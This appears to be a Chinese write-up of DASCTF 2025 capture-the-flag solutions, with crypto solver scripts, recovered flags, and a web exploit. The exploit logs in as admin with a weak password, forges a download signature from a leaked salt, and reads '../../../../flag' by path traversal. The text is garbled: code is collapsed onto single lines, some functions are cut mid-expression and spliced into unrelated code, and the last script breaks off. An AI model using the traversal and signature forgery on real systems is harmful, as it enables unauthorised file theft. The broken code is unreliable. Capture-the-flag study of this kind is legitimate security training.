0xD1, 0x9F, 0xCB,    0xC7, 0x09, 0xE8, 0x6C, 0xC2, 0x99, 0x6B, 0x43, 0x3D, 0x29,    0xF6, 0x50, 0xB6, 0x99, 0x87, 0xA4, 0x66, 0xF0, 0x5B, 0xEF,    0x7F, 0x69, 0x94, 0x58, 0x60, 0xDC, 0xC4, 0x47, 0x42, 0xA5,    0x11, 0xF3, 0x62, 0x13, 0x85, 0xC8, 0x9F, 0xBD, 0x4D, 0x73,    0x15, 0x36, 0x15, 0x78, 0x96, 0x34, 0xB2, 0x5C, 0xFC, 0x31,    0x51, 0xA4, 0x11, 0x5B, 0xC3, 0x0C, 0x96, 0x97, 0x9E, 0x5F,    0x96, 0x52, 0x90, 0xF3, 0x6A, 0x86, 0x3E, 0x33, 0x78, 0xB5,    0xCF, 0xC9, 0xBA, 0x31, 0x43, 0x8C, 0x4B, 0xAE, 0x22, 0xB2,    0x3E, 0xF8, 0x15, 0xED, 0xF7, 0xCF, 0x17, 0x71, 0x80, 0x3B,    0xD3, 0x92, 0xA5, 0x07, 0x2B, 0x46, 0x89, 0x00, 0xB7, 0x5F,    0x5A, 0x43, 0x77, 0xD1, 0xDA, 0xF3, 0xD6, 0xF7, 0xB7, 0xB6,    0x85, 0x0D, 0x1A, 0x4A, 0x41, 0x34, 0xF2, 0xF6, 0x58, 0x40,    0xEF, 0xAA, 0x9B, 0x83, 0xD3, 0x10, 0x83, 0x05, 0x1D, 0xF0,    0xFC, 0x80, 0xA7, 0x86, 0x52, 0x91, 0x59, 0x48, 0x4F, 0x62,    0xBB, 0xB9, 0x52, 0x4F, 0x68, 0x28, 0x5F, 0x48, 0xC7, 0xAB,    0x8E, 0x03, 0xBD, 0xFE, 0xCA, 0x1A, 0x60, 0x25, 0xAA, 0xED,    0x9F, 0x97, 0x28, 0xB3, 0x90, 0x68, 0x9C, 0x0C, 0x96, 0x39,    0x20, 0xC7, 0x28, 0xEB, 0x56, 0x95, 0xFC, 0xB9, 0x41, 0x3F,    0x9F, 0x4E, 0x06, 0xD3, 0xB9, 0x3D, 0xB4, 0x0E, 0x26, 0xD6,    0x27, 0x5C, 0x84, 0xE6, 0x12, 0x6A])byte_C0A0 = bytes([    0x37, 0x3A, 0x2A, 0x27, 0xB3, 0x8F, 0xD7, 0x78, 0xC7, 0x16,    0x72, 0x8E, 0xBB, 0x95, 0xBE, 0x89, 0xA0, 0xA0, 0x57, 0x10,    0x91, 0x19, 0xA0, 0x8D, 0x5C, 0xE4, 0x92, 0x61, 0xEB, 0xB0,    0xE0, 0x77, 0x6D, 0x25, 0x4A, 0x40, 0xC4, 0xD2, 0x1B, 0xD2,    0x46, 0x3E, 0x61, 0x60, 0x87, 0x71, 0xDE, 0x40, 0x1E, 0xED,    0x13, 0xAC, 0x66, 0x60, 0xD9, 0x96, 0xBE, 0xA8, 0xC8, 0xB8,    0x2B, 0xDD, 0x0E, 0xAF, 0x56, 0xC3, 0x84, 0x66, 0x77, 0x6E,    0xBA, 0x31, 0xF7, 0xB2, 0x21, 0x92, 0x30, 0xB6, 0x54, 0xA7,    0x7E, 0xC0, 0xAF, 0x39, 0x5A, 0x01, 0xC3, 0x1C, 0x13, 0x9A,    0x4F, 0x6B, 0x7B, 0x8B, 0xA8, 0x45, 0x19, 0x20, 0x96, 0x16,    0x5D, 0xD7, 0xAC, 0xD0, 0x33, 0x1E, 0x79, 0xDB, 0xE4, 0x34,    0xED, 0x8C, 0x9A, 0x66, 0x58, 0x1D, 0x26, 0xF6, 0x9E, 0x5F,    0xAA, 0x29, 0x5F, 0x66, 0x01, 0x00, 0x76, 0xB9, 0x1A, 0x6D,    0xD6, 0x1D, 0xB7, 0xAB, 0xD3, 0x25, 0xF8, 0xBD, 0x25, 0xD9,    0x28, 0xDE, 0xBC, 0xC0, 0x2E, 0x55, 0x55, 0xFF, 0x81, 0xF7,    0xAE, 0x3E, 0x54, 0x8E, 0x3E, 0x46, 0x59, 0xA3, 0x7F, 0x5D,    0x3D, 0x3C, 0x39, 0xFB, 0xCA, 0xD1, 0xB5, 0x83, 0xE4, 0x2F,    0xB0, 0x4F, 0xA3, 0x28, 0xEB, 0xB7, 0x7E, 0x78, 0x41, 0xF4,    0x5B, 0x71, 0x1E, 0x77, 0xEE, 0x23, 0xE1, 0x19, 0x89, 0xDB,    0x2C, 0x0E, 0x06, 0xB8, 0x19, 0x1A, 0x45, 0x6D, 0x56, 0xBD,    0x1A, 0x7D, 0x42, 0xC4, 0x7F, 0xDF, 0xDF, 0x11, 0x79, 0x22,    0x8B, 0x57, 0xC6, 0xEF, 0xCA, 0x9B, 0x9B, 0x6A, 0x7D, 0x22,    0x68, 0x2E, 0x5B, 0x67, 0xC7, 0xC4, 0x6A, 0x87, 0x7F, 0xB6,    0x77, 0xF5, 0xF3, 0x17, 0xB4, 0x82, 0x3F, 0xCD, 0xC8, 0x12,    0xF0, 0x36, 0x2B, 0xE2, 0x7C, 0x0F, 0x54, 0x53, 0x03, 0x71,    0x48, 0xED, 0x30, 0x12, 0x7B, 0x26])byte_C2A0 = bytes([    0xAD, 0xD1, 0xD1, 0x19, 0x60, 0xC2, 0x2D, 0x91, 0x66, 0xDA,    0xC3, 0xC2, 0x67, 0x25, 0xC8, 0x19, 0x09, 0x17, 0x6B, 0x23,    0x8E, 0x30, 0x03, 0xAA, 0x57, 0xAA, 0xCB, 0xA0, 0xA2, 0x26,    0xB7, 0xC3, 0x1C, 0x22, 0x0B, 0x8D, 0x20, 0x9C, 0xB4, 0x95,    0xB5, 0x5D, 0xB4, 0xE2, 0x7D, 0x4E, 0x43, 0x8E])key = RSA.construct((n, e, d, p, q))cipher_rsa = PKCS1_OAEP.new(key)account = cipher_rsa.decrypt(byte_C1A0)cipher_rsa = PKCS1_OAEP.new(key)aes_key = cipher_rsa.decrypt(byte_C0A0)cipher_aes = AES.new(aes_key, AES.MODE_CBC, account)result = cipher_aes.decrypt(byte_C2A0)text = result.decode('utf-8', errors='ignore')print(f"{text}")
复制代码
CHECKIN

将图片用记事本打开 获取base64编码


DASCTF{W3lc0me_t0_DASCTF_2025_H4lf_Y34r!}
MISC

DigitalSignature
  1. from web3 import Web3from eth_account.messages import encode_defunct# 核心参数msg = "Find out the signer. Flag is account address that wrapped by DASCTF{}."sig = "0x019c4c2968032373cb8e19f13450e93a1abf8658097405cda5489ea22d3779b57815a7e27498057a8c29bcd38f9678b917a887665c1f0d970761cacdd8c41fb61b"# 恢复签名地址并输出结果addr = Web3().eth.account.recover_message(encode_defunct(text=msg), signature=sig)print(f"Recovered address: {addr}")print(f"Flag: DASCTF{{{addr}}}")
复制代码
DASCTF{0xF319C9F3A3822C6b409c34451F7709f27173934c}
Crypto
  1. from Crypto.Util.number import long_to_bytes, bytes_to_longimport numpy as np# 原始参数mask = 9319439021858903464  # 64位掩码c = 8882504877732087312989345828667663333297225833982945014279010438327750150593504327259176959316943362605442206624947923157363187067410478202161873663103506# ---- 1. 构造64x64的变换矩阵A和初始掩码向量M ----A = np.zeros((64, 64), dtype=np.uint8)M = np.zeros(64, dtype=np.uint8)# 初始化第一行和M向量(基于mask的二进制位)for j in range(64):    if (mask >> j) & 1:        A[0, j] = 1        M[j] = 1# 构造下三角移位矩阵(第k行第k-1列置1)for k in range(1, 64):    A[k, k-1] = 1# ---- 2. 生成513个状态行(模拟线性反馈移位寄存器) ----rows = []r = M.copy()for t in range(512 + 1):  # t从0到512,共513个状态    rows.append(r.copy())    # 矩阵乘法后模2(GF(2)域运算)    r = (r @ A) % 2# ---- 3. 处理密文c,转换为64字节的bytes(确保长度为64) ----try:    c_bytes = long_to_bytes(c)    # 补零或截断到64字节,避免长度不匹配    if len(c_bytes) < 64:        c_bytes = b'\x00' * (64 - len(c_bytes)) + c_bytes    elif len(c_bytes) > 64:        c_bytes = c_bytes[-64:]  # 取最后64字节(符合常规低位存储)except Exception as e:    raise ValueError(f"密文转换失败: {e}")# ---- 4. 构造线性方程组 A2·S0 = b2(GF(2)域) ----A2 = np.zeros((64, 64), dtype=np.uint8)b2 = np.zeros(64, dtype=np.uint8)for j in range(64):    # 取第8*j行作为方程的系数    A2[j, :] = rows[8 * j]    # 取c_bytes[j]的最高位(MSB)作为方程右侧值    b2[j] = (c_bytes[j] >> 7) & 1# ---- 5. 优化的GF(2)线性方程组求解器(带空空间计算) ----def gf2_solve_with_nullspace(A, b):    """    求解GF(2)域线性方程组 A·x = b    返回: 特解x_part, 零空间基, 矩阵秩    无解时返回 (None, None, None)    """    # 深拷贝避免修改原数组,转换为int方便异或运算    A = A.copy().astype(int)    b = b.copy().astype(int)    m, n = A.shape  # m行n列    row = 0  # 当前处理的行    pivot_cols = []  # 主元列    pivcol = [-1] * m  # 每行对应的主元列    # 高斯消元(前向消去)    for col in range(n):        # 找当前列的主元行(第一个非零行)        pivot = None        for r in range(row, m):            if A[r, col] == 1:                pivot = r                break        if pivot is None:            continue  # 该列无主元,跳过        # 交换主元行到当前行        if pivot != row:            A[[row, pivot]] = A[[pivot, row]]            b[row], b[pivot] = b[pivot], b[row]        pivot_cols.append(col)        pivcol[row] = col        # 消去其他行的当前列        for r in range(m):            if r != row and A[r, col] == 1:                A[r, :] ^= A[row, :]                b[r] ^= b[row]        row += 1        if row == m:            break  # 所有行处理完毕    rank = row  # 矩阵的秩    # 检查无解情况:全零行但b[r]=1    for r in range(rank, m):        if not np.any(A[r]) and b[r] == 1:            print("线性方程组无解!")            return None, None, None    # 构造特解    x = np.zeros(n, dtype=int)    for r in range(rank - 1, -1, -1):        col = pivcol[r]        if col == -1:            continue        # 计算非主元列的异或和        s = 0        for j in range(col + 1, n):            s ^= (A[r, j] & x[j])        x[col] = b[r] ^ s    # 构造零空间基(自由变量)    free_cols = [c for c in range(n) if c not in pivot_cols]    null_basis = []    for fc in free_cols:        v = np.zeros(n, dtype=int)        v[fc] = 1  # 自由变量设为1        # 回代求解主元变量        for r in range(rank - 1, -1, -1):            col = pivcol[r]            if col == -1:                continue            s = 0            for j in range(col + 1, n):                s ^= (A[r, j] & v[j])            v[col] = s        null_basis.append(v)    return x, null_basis, rank# ---- 6. 求解方程组并生成可能的种子 ----x_part, null_basis, rank = gf2_solve_with_nullspace(A2, b2)if x_part is None:    raise RuntimeError("未找到有效解,方程组无解!")# 向量转64位种子(uint64)def vec_to_seed(v):    s = 0    for i in range(64):        if v[i]:            s |= (1 = 1    # 左移1位 + 异或结果,保持64位    seed = ((seed  requests.Response:    """    拼接path和基础域名,访问该URL并返回响应    :param path: 提取的path    :param base_domain: 基础域名    :return: 响应对象    """    if not path:        raise ValueError("path为空,无法拼接URL")        # 拼接URL(处理path开头是否有/的情况)    if path.startswith('/'):        full_url = base_domain + path    else:        full_url = f"{base_domain}/{path}"        # 移除重复的//    full_url = full_url.replace('//', '/').replace('http:/', 'http://')        print(f"\n
  2. [*] 拼接后的完整URL: {full_url}")        # 发送请求(复用请求头,保持会话一致性)    headers = {        "User-Agent": "Mozilla/5.0",        "Content-Type": "application/x-www-form-urlencoded"    }        try:        response = requests.get(            full_url,            headers=headers,            timeout=10,            allow_redirects=True  # 允许重定向        )        print(f"
  3. [*] URL访问状态码: {response.status_code}")        return response    except Exception as e:        raise RuntimeError(f"访问URL失败: {str(e)}")def send_login_request(username, password):    """    发送登录请求到目标URL,并处理path提取和URL访问    :param username: 登录用户名    :param password: 加密后的登录密码    :return: 登录响应对象    """    payload = {        "username": username,        "password": password    }    headers = {        "User-Agent": "Mozilla/5.0",        "Content-Type": "application/x-www-form-urlencoded"    }    try:        print(f"
  4. [*] 向 {TARGET_URL} 发送请求 -> 用户名: {username}, 密码: {password}")        response = requests.post(            TARGET_URL,            data=payload,            headers=headers,            timeout=10        )        print(f"
  5. [*] 响应状态码: {response.status_code}")        print(f"
  6. [*] 响应内容: {response.text}")        print("-" * 80)        # 提取path        path = extract_path_from_response(response.text)        if path:            print(f"
  7. [*] 从响应中提取到path: {path}")            # 访问拼接后的URL            try:                path_response = visit_path_url(path, BASE_DOMAIN)                print(f"
  8. [*] URL访问响应内容: {path_response.text}")                print("-" * 80)            except Exception as e:                print(f"[!] 访问拼接URL失败: {e}")        else:            print("
  9. [*] 响应中未提取到有效path")        return response    except Exception as e:        print(f"[!] 发包失败: {e}")        print("-" * 80)        raiseif __name__ == "__main__":    # 1. 定义需要加密的原始密码    original_password = "123456"    print(f"
  10. [*] 原始密码: {original_password}")    print("-" * 80)        # 2. 使用RSA加密密码    try:        encrypted_password = rsa_encrypt_pkcs1v15_jseencrypt(original_password, PUBLIC_KEY_STR)        print(f"
  11. [*] RSA加密后的密码: {encrypted_password}")        print("-" * 80)    except RuntimeError as e:        print(f"[!] 密码加密失败: {e}")        exit(1)        # 3. 发送登录请求(使用加密后的密码)并处理path访问    try:        login_response = send_login_request("admin", encrypted_password)    except Exception as e:        print(f"[!] 登录请求处理失败: {e}")        exit(1)
复制代码


有一个/download的下载文件接口
  1. import base64import requestsfrom cryptography.hazmat.primitives.asymmetric import padding, rsafrom cryptography.hazmat.primitives import serializationfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15import re# RSA公钥(用于密码加密)PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="# 目标登录URLTARGET_URL = "http://6922d98f-7d9d-46b0-b594-3de34637ce0c.node5.buuoj.cn:81/login"# 提取基础域名(用于拼接path)BASE_DOMAIN = TARGET_URL.rsplit('/', 1)[0]# 指定的下载URL路径DOWNLOAD_PATH = "/download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6"def rsa_encrypt_pkcs1v15_jseencrypt(plain_text: str, pub_key_str: str) -> str:    """    模拟JSEncrypt的PKCS1_v1_5加密行为,返回Base64编码字符串    :param plain_text: 待加密的明文(字符串)    :param pub_key_str: Base64格式的RSA公钥(无PEM头尾部)    :return: Base64编码的加密结果    """    try:        # 1. 补全PEM格式公钥(JSEncrypt默认使用这种格式)        pem_pub_key = (            "-----BEGIN PUBLIC KEY-----\n"            + "\n".join([pub_key_str[i:i+64] for i in range(0, len(pub_key_str), 64)])            + "\n-----END PUBLIC KEY-----"        )                # 2. 加载公钥        public_key = serialization.load_pem_public_key(            pem_pub_key.encode("utf-8"),            backend=default_backend()        )                # 3. 将明文转为字节(JSEncrypt默认使用UTF-8编码)        plain_bytes = plain_text.encode("utf-8")                # 4. PKCS1_v1_5加密(严格匹配JSEncrypt的填充规则)        encrypted_bytes = public_key.encrypt(            plain_bytes,            PKCS1v15()  # 标准PKCS1 v1.5填充,与JSEncrypt完全一致        )                # 5. Base64编码(JSEncrypt使用标准Base64,无URL安全转换)        base64_encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")                return base64_encrypted        except Exception as e:        raise RuntimeError(f"加密失败: {str(e)}")def extract_path_from_response(response_text: str) -> str:    """    从响应内容中提取path(支持多种常见格式匹配)    :param response_text: 响应文本内容    :return: 提取到的path,无则返回空字符串    """    # 匹配常见的path格式(可根据实际情况调整正则)    path_patterns = [        r'["\']path["\']\s*:\s*["\']([^"\']+)["\']',  # "path": "/xxx/yyy"        r'["\']/[^"\']+["\']',  # 匹配 "/xxx/yyy" 格式的path        r'\/[a-zA-Z0-9_\-\/]+',  # 匹配 /xxx/yyy 格式的path    ]        for pattern in path_patterns:        match = re.search(pattern, response_text)        if match:            path = match.group(1) if len(match.groups()) > 0 else match.group(0)            # 去除引号等多余字符            path = path.strip('"\'')            return path        return ""def visit_path_url(path: str, base_domain: str, session: requests.Session = None) -> requests.Response:    """    拼接path和基础域名,访问该URL并返回响应    :param path: 提取的path    :param base_domain: 基础域名    :param session: 可选的会话对象(保持cookie等状态)    :return: 响应对象    """    if not path:        raise ValueError("path为空,无法拼接URL")        # 拼接URL(处理path开头是否有/的情况)    if path.startswith('/'):        full_url = base_domain + path    else:        full_url = f"{base_domain}/{path}"        # 移除重复的//    full_url = full_url.replace('//', '/').replace('http:/', 'http://')        print(f"\n
  2. [*] 拼接后的完整URL: {full_url}")        # 发送请求(复用请求头,保持会话一致性)    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",        "Content-Type": "application/x-www-form-urlencoded",        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",        "Accept-Encoding": "gzip, deflate",        "Connection": "keep-alive"    }        try:        # 使用会话对象或普通请求,保持状态一致性        if session:            response = session.get(                full_url,                headers=headers,                timeout=10,                allow_redirects=True  # 允许重定向            )        else:            response = requests.get(                full_url,                headers=headers,                timeout=10,                allow_redirects=True  # 允许重定向            )        print(f"
  3. [*] URL访问状态码: {response.status_code}")        return response    except Exception as e:        raise RuntimeError(f"访问URL失败: {str(e)}")def send_login_request(username, password, session: requests.Session):    """    发送登录请求到目标URL,并处理path提取和URL访问    :param username: 登录用户名    :param password: 加密后的登录密码    :param session: 会话对象(保持cookie)    :return: 登录响应对象    """    payload = {        "username": username,        "password": password    }    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",        "Content-Type": "application/x-www-form-urlencoded",        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",        "Accept-Encoding": "gzip, deflate",        "Connection": "keep-alive",        "Origin": BASE_DOMAIN,        "Referer": TARGET_URL    }    try:        print(f"
  4. [*] 向 {TARGET_URL} 发送请求 -> 用户名: {username}, 密码: {password}")        response = session.post(            TARGET_URL,            data=payload,            headers=headers,            timeout=10        )        print(f"
  5. [*] 响应状态码: {response.status_code}")        print(f"
  6. [*] 响应内容: {response.text}")        print("-" * 80)        # 提取path        path = extract_path_from_response(response.text)        if path:            print(f"
  7. [*] 从响应中提取到path: {path}")            # 访问拼接后的URL            try:                path_response = visit_path_url(path, BASE_DOMAIN, session)                print(f"
  8. [*] URL访问响应内容: {path_response.text}")                print("-" * 80)            except Exception as e:                print(f"[!] 访问拼接URL失败: {e}")        else:            print("
  9. [*] 响应中未提取到有效path")        return response    except Exception as e:        print(f"[!] 发包失败: {e}")        print("-" * 80)        raisedef visit_download_url(session: requests.Session):    """    访问指定的/download路径,携带会话信息和必要请求头    :param session: 登录后的会话对象    :return: 下载请求的响应对象    """    print(f"\n
  10. [*] 准备访问下载URL: {BASE_DOMAIN + DOWNLOAD_PATH}")    print("-" * 80)        # 构建完整的下载URL    download_url = BASE_DOMAIN + DOWNLOAD_PATH    # 处理URL中的重复//问题    download_url = download_url.replace('//', '/').replace('http:/', 'http://')        # 构造下载请求的请求头(模拟浏览器行为)    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",        "Accept-Encoding": "gzip, deflate",        "Connection": "keep-alive",        "Referer": TARGET_URL,        "Upgrade-Insecure-Requests": "1"    }        try:        # 发送GET请求访问下载链接(保持会话)        response = session.get(            download_url,            headers=headers,            timeout=15,            allow_redirects=True,            stream=True  # 支持大文件下载        )                print(f"
  11. [*] 下载URL访问状态码: {response.status_code}")        print(f"
  12. [*] 响应头信息: {response.headers}")                # 处理响应内容        if response.status_code == 200:            # 判断是否是文件下载            if 'Content-Disposition' in response.headers:                # 提取文件名并保存文件                content_disposition = response.headers.get('Content-Disposition', '')                filename = re.search(r'filename=["\']?([^"\']+)["\']?', content_disposition)                save_filename = filename.group(1) if filename else 'app.jmx'                                # 保存文件到本地                with open(save_filename, 'wb') as f:                    for chunk in response.iter_content(chunk_size=8192):                        f.write(chunk)                print(f"
  13. [*] 文件下载成功,已保存为: {save_filename}")            else:                # 非文件下载,打印响应内容                print(f"
  14. [*] 下载URL响应内容: {response.text[:2000]}")  # 只打印前2000字符避免过长        else:            print(f"[!] 下载URL访问失败,状态码: {response.status_code}")            print(f"[!] 响应内容: {response.text}")                print("-" * 80)        return response        except Exception as e:        raise RuntimeError(f"访问下载URL失败: {str(e)}")if __name__ == "__main__":    # 创建会话对象(保持cookie、会话状态)    session = requests.Session()        # 1. 定义需要加密的原始密码    original_password = "123456"    print(f"
  15. [*] 原始密码: {original_password}")    print("-" * 80)        # 2. 使用RSA加密密码    try:        encrypted_password = rsa_encrypt_pkcs1v15_jseencrypt(original_password, PUBLIC_KEY_STR)        print(f"
  16. [*] RSA加密后的密码: {encrypted_password}")        print("-" * 80)    except RuntimeError as e:        print(f"[!] 密码加密失败: {e}")        exit(1)        # 3. 发送登录请求(使用加密后的密码)并处理path访问    try:        login_response = send_login_request("admin", encrypted_password, session)    except Exception as e:        print(f"[!] 登录请求处理失败: {e}")        exit(1)        # 4. 访问指定的/download路径(携带登录后的会话信息)    try:        download_response = visit_download_url(session)    except Exception as e:        print(f"[!] 下载URL访问处理失败: {e}")        exit(1)
复制代码

那既然可以下载app.jmx,那看看能不能直接下载flag
但好像并不行,既然得到了salt是不是要带上salt才可以访问
同时下面存在逻辑
  1. def mingWen = vars.get('mingWen');def firstMi = DigestUtils.md5Hex(mingWen);def jieStr = firstMi.substring(5, 16);def salt = vars.get('salt');def newStr = firstMi + jieStr + salt;def sign = DigestUtils.md5Hex(newStr);vars.put('sign', sign);
复制代码
直接丢给AI
  1. import base64import requestsimport hashlibfrom cryptography.hazmat.primitives.asymmetric import padding, rsafrom cryptography.hazmat.primitives import serializationfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15import re# RSA公钥(用于密码加密)PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="# 目标登录URLTARGET_URL = "http://a12634de-e919-4a63-abe4-36035aff7b45.node5.buuoj.cn:81/login"# 提取基础域名(用于拼接path)BASE_DOMAIN = TARGET_URL.rsplit('/', 1)[0]# 固定salt值SALT = "f9bc855c9df15ba7602945fb939deefc"def generate_sign(file_param: str, salt: str) -> str:    """    根据指定逻辑生成sign值    :param file_param: file参数的值(明文)    :param salt: 固定的salt值    :return: 最终的sign值    """    # 1. 计算file参数的MD5值(firstMi)    first_mi = hashlib.md5(file_param.encode('utf-8')).hexdigest()    print(f"
  2. [*] file参数MD5值 (firstMi): {first_mi}")        # 2. 截取firstMi的第5到16位(包含第5位,不包含第16位,共11位)    jie_str = first_mi[5:16]    print(f"
  3. [*] 截取的字符串 (jieStr): {jie_str} (位置5-16)")        # 3. 拼接新字符串:firstMi + jieStr + salt    new_str = first_mi + jie_str + salt    print(f"
  4. [*] 拼接后的字符串 (newStr): {new_str}")        # 4. 计算新字符串的MD5作为最终sign    sign = hashlib.md5(new_str.encode('utf-8')).hexdigest()    print(f"
  5. [*] 最终生成的sign值: {sign}")        return signdef rsa_encrypt_pkcs1v15_jseencrypt(plain_text: str, pub_key_str: str) -> str:    """    模拟JSEncrypt的PKCS1_v1_5加密行为,返回Base64编码字符串    :param plain_text: 待加密的明文(字符串)    :param pub_key_str: Base64格式的RSA公钥(无PEM头尾部)    :return: Base64编码的加密结果    """    try:        # 1. 补全PEM格式公钥(JSEncrypt默认使用这种格式)        pem_pub_key = (            "-----BEGIN PUBLIC KEY-----\n"            + "\n".join([pub_key_str[i:i+64] for i in range(0, len(pub_key_str), 64)])            + "\n-----END PUBLIC KEY-----"        )                # 2. 加载公钥        public_key = serialization.load_pem_public_key(            pem_pub_key.encode("utf-8"),            backend=default_backend()        )                # 3. 将明文转为字节(JSEncrypt默认使用UTF-8编码)        plain_bytes = plain_text.encode("utf-8")                # 4. PKCS1_v1_5加密(严格匹配JSEncrypt的填充规则)        encrypted_bytes = public_key.encrypt(            plain_bytes,            PKCS1v15()  # 标准PKCS1 v1.5填充,与JSEncrypt完全一致        )                # 5. Base64编码(JSEncrypt使用标准Base64,无URL安全转换)        base64_encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")                return base64_encrypted        except Exception as e:        raise RuntimeError(f"加密失败: {str(e)}")def extract_path_from_response(response_text: str) -> str:    """    从响应内容中提取path(支持多种常见格式匹配)    :param response_text: 响应文本内容    :return: 提取到的path,无则返回空字符串    """    # 匹配常见的path格式(可根据实际情况调整正则)    path_patterns = [        r'["\']path["\']\s*:\s*["\']([^"\']+)["\']',  # "path": "/xxx/yyy"        r'["\']/[^"\']+["\']',  # 匹配 "/xxx/yyy" 格式的path        r'\/[a-zA-Z0-9_\-\/]+',  # 匹配 /xxx/yyy 格式的path    ]        for pattern in path_patterns:        match = re.search(pattern, response_text)        if match:            path = match.group(1) if len(match.groups()) > 0 else match.group(0)            # 去除引号等多余字符            path = path.strip('"\'')            return path        return ""def visit_path_url(path: str, base_domain: str, session: requests.Session = None) -> requests.Response:    """    拼接path和基础域名,访问该URL并返回响应    :param path: 提取的path    :param base_domain: 基础域名    :param session: 可选的会话对象(保持cookie等状态)    :return: 响应对象    """    if not path:        raise ValueError("path为空,无法拼接URL")        # 拼接URL(处理path开头是否有/的情况)    if path.startswith('/'):        full_url = base_domain + path    else:        full_url = f"{base_domain}/{path}"        # 移除重复的//    full_url = full_url.replace('//', '/').replace('http:/', 'http://')        print(f"\n
  6. [*] 拼接后的完整URL: {full_url}")        # 发送请求(复用请求头,保持会话一致性)    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",        "Content-Type": "application/x-www-form-urlencoded",        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",        "Accept-Encoding": "gzip, deflate",        "Connection": "keep-alive"    }        try:        # 使用会话对象或普通请求,保持状态一致性        if session:            response = session.get(                full_url,                headers=headers,                timeout=10,                allow_redirects=True  # 允许重定向            )        else:            response = requests.get(                full_url,                headers=headers,                timeout=10,                allow_redirects=True  # 允许重定向            )        print(f"
  7. [*] URL访问状态码: {response.status_code}")        return response    except Exception as e:        raise RuntimeError(f"访问URL失败: {str(e)}")def send_login_request(username, password, session: requests.Session):    """    发送登录请求到目标URL,并处理path提取和URL访问    :param username: 登录用户名    :param password: 加密后的登录密码    :param session: 会话对象(保持cookie)    :return: 登录响应对象    """    payload = {        "username": username,        "password": password    }    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",        "Content-Type": "application/x-www-form-urlencoded",        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",        "Accept-Encoding": "gzip, deflate",        "Connection": "keep-alive",        "Origin": BASE_DOMAIN,        "Referer": TARGET_URL    }    try:        print(f"
  8. [*] 向 {TARGET_URL} 发送请求 -> 用户名: {username}, 密码: {password}")        response = session.post(            TARGET_URL,            data=payload,            headers=headers,            timeout=10        )        print(f"
  9. [*] 响应状态码: {response.status_code}")        print(f"
  10. [*] 响应内容: {response.text}")        print("-" * 80)        # 提取path        path = extract_path_from_response(response.text)        if path:            print(f"
  11. [*] 从响应中提取到path: {path}")            # 访问拼接后的URL            try:                path_response = visit_path_url(path, BASE_DOMAIN, session)                print(f"
  12. [*] URL访问响应内容: {path_response.text}")                print("-" * 80)            except Exception as e:                print(f"[!] 访问拼接URL失败: {e}")        else:            print("
  13. [*] 响应中未提取到有效path")        return response    except Exception as e:        print(f"[!] 发包失败: {e}")        print("-" * 80)        raisedef visit_download_url(session: requests.Session, file_param: str = "../../../../../../../../../flag"):    """    访问/download路径,自动生成sign并携带会话信息    :param session: 登录后的会话对象    :param file_param: file参数的值,默认为读取flag的路径    :return: 下载请求的响应对象    """    print("\n" + "="*80)    print("
  14. [*] 开始生成sign值")    print("="*80)        # 生成sign值    sign = generate_sign(file_param, SALT)        # 构建下载URL    DOWNLOAD_PATH = f"/download?file={file_param}&sign={sign}"    download_url = BASE_DOMAIN + DOWNLOAD_PATH    # 处理URL中的重复//问题    download_url = download_url.replace('//', '/').replace('http:/', 'http://')        print(f"\n
